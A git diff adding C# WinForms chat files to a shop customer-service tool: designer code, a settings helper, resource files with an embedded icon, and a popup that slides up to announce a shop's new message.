((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogo)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserComponent.DataGridViewEx dgvShop; + private System.Windows.Forms.Panel panel1; + private UserComponent.UcTabControl tabControl1; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.Panel mainPanel; + private System.Windows.Forms.SplitContainer splitContainer3; + private DevComponents.DotNetBar.LabelX lblVersionName; + private DevComponents.DotNetBar.LabelX lblVersionInfo; + private DevComponents.DotNetBar.PanelEx max; + private DevComponents.DotNetBar.PanelEx min; + private DevComponents.DotNetBar.PanelEx close; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.TextBox txtAutoReplyText; + private System.Windows.Forms.CheckBox chkIsAutoReply; + private DevComponents.DotNetBar.Controls.Line line4; + private System.Windows.Forms.CheckBox chkIsAutoReLogin; + private System.Windows.Forms.Button button1; + private DevComponents.DotNetBar.PanelEx pnlSet; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Button button2; + private System.Windows.Forms.ComboBox cmbMessage; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.SplitContainer splitContainer4; + private DevComponents.DotNetBar.PanelEx pnlRefresh; + private System.Windows.Forms.PictureBox pbLogo; + private System.Windows.Forms.DataGridViewTextBoxColumn ColumnShopID; + private System.Windows.Forms.DataGridViewTextBoxColumn ColumnShopName; + private System.Windows.Forms.DataGridViewLinkColumn ColumnShopStatus; + private System.Windows.Forms.CheckBox chkNotShowMessageWindow; + } +} \ No newline at end of file diff --git a/TEMUKJD/ChatForms/ChatForm.resx b/TEMUKJD/ChatForms/ChatForm.resx new file mode 100644 index 0000000..7b3ed91 --- /dev/null +++ b/TEMUKJD/ChatForms/ChatForm.resx @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/ChatForms/ChatHelper/ChatConfig.cs b/TEMUKJD/ChatForms/ChatHelper/ChatConfig.cs new file mode 100644 index 0000000..a7145a5 --- /dev/null +++ b/TEMUKJD/ChatForms/ChatHelper/ChatConfig.cs @@ -0,0 +1,27 @@ +using LittleRabbit.ChatForms.ChatModel; +using NaiBa.Util; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace LittleRabbit.ChatForms.ChatHelper +{ + public class ChatConfig + { + public static ChatSettingsParam ChatSettingConfig { get; set; } + + public static void LoadChatSetting() + { + ChatConfig.ChatSettingConfig = NaiBa.Util.Helper.ConfigHelper.LoadConfig("chat_setting"); + if (ChatConfig.ChatSettingConfig == null) + ChatConfig.ChatSettingConfig = new ChatSettingsParam(); + } + + public static void SaveChatSettingParam() + { + NaiBa.Util.Helper.ConfigHelper.SaveConfig("chat_setting", ChatConfig.ChatSettingConfig); + } + } +} diff --git a/TEMUKJD/ChatForms/ChatMessageForm.Designer.cs b/TEMUKJD/ChatForms/ChatMessageForm.Designer.cs new file mode 100644 index 0000000..3665e86 --- /dev/null +++ b/TEMUKJD/ChatForms/ChatMessageForm.Designer.cs @@ -0,0 +1,100 @@ +namespace LittleRabbit.ChatForms +{ + partial class ChatMessageForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ChatMessageForm)); + this.timer1 = new System.Windows.Forms.Timer(this.components); + this.pnlMessage = new DevComponents.DotNetBar.PanelEx(); + this.panel2 = new System.Windows.Forms.Panel(); + this.panel2.SuspendLayout(); + this.SuspendLayout(); + // + // pnlMessage + // + this.pnlMessage.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMessage.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlMessage.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMessage.Dock = System.Windows.Forms.DockStyle.Fill; + this.pnlMessage.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlMessage.Location = new System.Drawing.Point(8, 8); + this.pnlMessage.Name = "pnlMessage"; + this.pnlMessage.Size = new System.Drawing.Size(238, 94); + this.pnlMessage.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMessage.Style.BackColor1.Color = System.Drawing.Color.White; + this.pnlMessage.Style.BackColor2.Color = System.Drawing.Color.White; + this.pnlMessage.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlMessage.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlMessage.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.pnlMessage.Style.GradientAngle = 90; + this.pnlMessage.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMessage.StyleMouseDown.BackColor1.Color = System.Drawing.Color.White; + this.pnlMessage.StyleMouseDown.BackColor2.Color = System.Drawing.Color.White; + this.pnlMessage.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMessage.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(235)))), ((int)(((byte)(255))))); + this.pnlMessage.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(235)))), ((int)(((byte)(255))))); + this.pnlMessage.TabIndex = 188; + this.pnlMessage.Text = "有新消息"; + this.pnlMessage.Click += new System.EventHandler(this.pnlMessage_Click); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.Controls.Add(this.pnlMessage); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Padding = new System.Windows.Forms.Padding(8); + this.panel2.Size = new System.Drawing.Size(254, 110); + this.panel2.TabIndex = 189; + // + // ChatMessageForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(256, 144); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.ShowMinimizedBox = true; + this.Name = "ChatMessageForm"; + this.Text = "新消息"; + this.TitleText = "新消息"; + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Timer timer1; + private DevComponents.DotNetBar.PanelEx pnlMessage; + private System.Windows.Forms.Panel panel2; + } +} \ No newline at end of file diff --git a/TEMUKJD/ChatForms/ChatMessageForm.cs b/TEMUKJD/ChatForms/ChatMessageForm.cs new file mode 100644 index 0000000..479dc9e --- /dev/null +++ b/TEMUKJD/ChatForms/ChatMessageForm.cs @@ -0,0 +1,88 @@ +using AllBase.Model.Result; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.ChatForms +{ + public partial class ChatMessageForm : LRBaseForm + { + public DouShopLoginInfo shop; + public ChatForm cf; + public ChatMessageForm(DouShopLoginInfo _shop, ChatForm _cf) + { + InitializeComponent(); + + this.shop = _shop; + this.cf = _cf; + this.Load += ChatMessageForm_Load; + this.FormClosed += ChatMessageForm_FormClosed; + this.TopMost = true; + } + + private void ChatMessageForm_FormClosed(object sender, FormClosedEventArgs e) + { + ChatForm.lstChatMessageForm.Remove(this); + } + + private void ChatMessageForm_Load(object sender, EventArgs e) + { + if (shop != null) + { + this.pnlMessage.Text = "店铺" + shop.ShopAccount + "有新消息\r\n点击查看"; + } + var height = this.Height; + Task.Run(() => + { + for (int i = 0; i < height; i++) + { + Invoke(new Action(() => + { + Point p = new Point(Screen.PrimaryScreen.WorkingArea.Width - this.Width, Screen.PrimaryScreen.WorkingArea.Height); + this.Location = new Point(p.X, p.Y - i); + })); + Thread.Sleep(5); + } + //Thread.Sleep(2000); + //var _opacity = 1.0; + //while (_opacity > 0) + //{ + // _opacity -= 0.02; + // Invoke(new Action(() => + // { + // this.Opacity = _opacity; + // if (this.Opacity <= 0) + // this.Close(); + // })); + // Thread.Sleep(100); + //} + }); + } + + private void pnlMessage_Click(object sender, EventArgs e) + { + if (cf != null) + { + cf.TopMost = true; + cf.DgvShopClick(shop); + Task.Run(() => + { + Thread.Sleep(1000); + Invoke(new Action(() => + { + this.TopMost = false; + cf.TopMost = false; + })); + }); + } + } + } +} diff --git a/TEMUKJD/ChatForms/ChatMessageForm.resx b/TEMUKJD/ChatForms/ChatMessageForm.resx new file mode 100644 index 0000000..9b96c02 --- /dev/null +++ b/TEMUKJD/ChatForms/ChatMessageForm.resx @@ -0,0 +1,301 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAEAgIAQeQAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + 